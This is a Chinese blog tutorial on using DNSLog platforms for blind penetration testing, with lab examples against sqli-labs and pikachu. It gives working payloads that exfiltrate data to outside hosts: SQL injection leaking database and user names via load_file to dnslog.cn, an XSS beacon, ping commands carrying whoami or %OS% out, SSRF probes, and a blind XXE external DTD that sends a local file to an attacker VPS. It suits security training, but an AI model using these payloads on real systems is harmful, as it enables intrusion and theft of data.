DNSLog进行无回显渗透测试

一、什么是DNSLog

DNS的全称是Domain Name System(网络名称系统),它作为将域名和IP地址相互映射,使人更方便地访问互联网。当用户输入某一网址如www.baidu.com,网络上的DNS Server会将该域名解析,并找到对应的真实IP如127.0.0.1,使用户可以访问这台服务器上相应的服务。

DNSlog就是存储在DNS Server上的域名信息,它记录着用户对域名www.baidu.com等的访问信息,类似日志文件。

 

二、DNSLog利用原理

 

 

将dnslog平台中的特有字段payload带入目标发起dns请求,通过dns解析将请求后的关键信息组合成新的三级域名带出,在ns服务器的dns日志中显示出来。

DNSlog就是存储在DNS服务器上的域名信息,它记录着用户对域名www.baidu.com等的访问信息,类似于日志文件。

 

简单来说,就是我有个已注册的域名a.com,我在域名代理商那里将域名设置对应的ip 1.1.1.1 上,这样当我向dns服务器发起a.com的解析请求时,DNSlog中会记录下他给a.com解析,解析值为1.1.1.1,而我们这个解析的记录的值就是我们要利用的地方。

 

四、DNSLog平台

推荐平台:

http://www.dnslog.cn
http://admin.dnslog.link
http://ceye.io

 

自己搭建DNSLog平台选择:https://github.com/BugScanTeam/DNSLog

 

五、渗透测试之DNSLog使用

  • SQL注入中的盲注
  • XSS盲打
  • 无回显的命令执行
  • 无回显的SSRF
  • 无回显的XXE(Blind XXE)

5.1. SQL注入盲注

在sql注入时为布尔盲注、时间盲注,注入的效率低且线程高容易被waf拦截,又或者是目标站点没有回显

5.1.1. 利用条件

  1. load_file()
  2. 读写权限
  3. Windows(UNC路径)

5.1.2. load_file与secure_file_priv设置

例子:

select load_file('/etc/passwd')

1、必须有权限读取并且文件必须完全可读

and (select count(*) from mysql.user)>0 /*如果结果返回正常,说明具有读写权限.*/
and (select count(*) from mysql.user)>0 /*返回错误,应该是管理员给数据库账户降权了*/

自己搭建环境的时候可以去mysql数据库连接的时候设置下(去my.ini检查下有没有这个参数,没有就手写一个),设置完重启数据库。

set global secure_file_priv='';

 

这里拿sqli-labs第五关盲注去做这个。

http://localhost/sqli-labs/Less-5/?id=-1' union select 1,2,load_file(concat('//',(select database()),'.6.ijowns.dnslog.cn/a'))--+

可以看到下图,已经回显到了DNSLog上面了(其实照我们这个权限写个webshell都没问题了)。

 TIPS:

用户名payload:and (select load_file(concat('//',(select hex(user())),'.6.ijowns.dnslog.cn/a')))

注意:为什么要对查询的内容进行hex编码?
如果我们要查询的用户名中存在特殊字符:如!@#$%^&
最后在请求DNS服务器时变成:!@#$%^&*.upa46v.dnslog.cn
存在特殊字符的域名无法解析。因此在DNS日志中也找不到我们查询的数据。
所以在我们查询时,当不确定查询结果是否存在特殊字符时,最好先将其hex编码后在带入查询。

 

5.2. XSS盲打

通过盲打,让触发者浏览器访问预设至的链接地址,如果盲打成功,会在平台上收到如下的链接访问记录:

payload:

 <img src=http://dddxss.ijowns.dnslog.cn>

让src请求我们的dnslog平台。这里举个例子:

 

下面可以看到回显的效果。

5.3. 无回显的命令执行

5.3.1. Windows使用方法

变量                                           类型       描述
%USERNAME%                                     返回当前登录的用户的名称。
%USERDOMAIN%                                   返回包含用户帐户的域的名称。
%OS%                                           返回操作系统名称。Windows 2000 显示其操作系统为 Windows_NT。
%USERPROFILE%                                  返回当前用户的配置文件的位置。
%ALLUSERSPROFILE%                           返回“所有用户”配置文件的位置。
%APPDATA%                                 返回默认情况下应用程序存储数据的位置。
%CD%                                       返回当前目录字符串。
%CMDCMDLINE%                                    返回用来启动当前的 Cmd.exe 的准确命令行。
%CMDEXTVERSION%                              返回当前的“命令处理程序扩展”的版本号。
%COMPUTERNAME%                                返回计算机的名称。
%COMSPEC%                                            返回命令行解释器可执行程序的准确路径。
%DATE%                                                  返回当前日期。
%ERRORLEVEL%                                  返回上一条命令的错误代码。通常用非零值表示错误。
%HOMEDRIVE%                                           返回连接到用户主目录的本地工作站驱动器号。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
%HOMEPATH%                                             返回用户主目录的完整路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
%HOMESHARE%                                           返回用户的共享主目录的网络路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
%LOGONSERVER%                                      返回验证当前登录会话的域控制器的名称。
%NUMBER_OF_PROCESSORS%                 指定安装在计算机上的处理器的数目。
%PATH%                                          指定可执行文件的搜索路径。
%PATHEXT%                                                 返回操作系统认为可执行的文件扩展名的列表。
%PROCESSOR_ARCHITECTURE%              返回处理器的芯片体系结构。值:x86 或 IA64(基于 Itanium)。
%PROCESSOR_IDENTFIER%                    返回处理器说明。
%PROCESSOR_LEVEL%                            返回计算机上安装的处理器的型号。
%PROCESSOR_REVISION%                       返回处理器的版本号。
%PROMPT%                                           返回当前解释程序的命令提示符设置。由 Cmd.exe 生成。
%RANDOM%                                          返回 032767 之间的任意十进制数字。由 Cmd.exe 生成。
%SYSTEMDRIVE%                                  返回 Windows server operating system 根目录的位置。
%TEMP%和%TMP%                                 返回对当前登录用户可用的应用程序所使用的默认临时目录。有些应用程序需要 TEMP,而其他应用程序则需要 TMP。
%TIME%                                         返回当前时间。使用与time /t命令相同的格式。由Cmd.exe生成。有关time命令的详细信息,请参阅 Time。
%WINDIR%                                       返回操作系统目录的位置

 

ping %OS%.ijowns.dnslog.cn

 回显效果:

 5.3.2. Linux使用方法

ping -c 1 `whoami`.niddp9.dnslog.cn

 回显效果:

 5.4. 无回显SSRF

根据自己需要可以加一些字符到域名前面或目录后面,通过dnslog判断是否存在ssrf漏洞。

http://localhost/ssrf.php?url=http://zdutpn.dnslog.cn

回显效果:

5.5. 无回显的XXE(Blind XXE)

pikachu靶场的xxe漏洞,把回显注释了。

 

测试payload:

<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "http://qfi2jk.dnslog.cn">
]>
<x>&f;</x>

 

回显效果:

 

5.5.1. XXE漏洞盲打之文件读取

有输出的时候:

payload:

<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "file:///e:/java/test.txt"> 
]>
<x>&f;</x>

无回显:

接下来通过DNSLog进行外带数据。

VPS(IP: 192.168.110.141):

test.dtd内容:

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///e:/java/test.txt">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://vps的ip:7896/%file;'>">

这段代码的意思是:实体int为http://vps的ip:7896/,实体file为file:///e:/java/test.txt(经过base64编码),

总体的意思就是访问vps的6666端口并携带本机的e:/java/test.txt的文件。

 

test.dtd内容:

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///e:/java/test.txt">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://192.168.110.141:7896/%file;'>">

 

在这个test.dtd目录下开启web服务

python -m SimpleHTTPServer 6796

 

访问下web看看

 

 再连接个shell,开启一个7896端口的web服务,一会看看提交过来的数据。

构建Payload进行提交:

<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY % f SYSTEM "http://192.168.110.141:6796/test.dtd">%f;%int;%send; 
]>

 

 

posted @ 2021-12-26 11:28  Saint_Michael  阅读(3438)  评论(0编辑  收藏  举报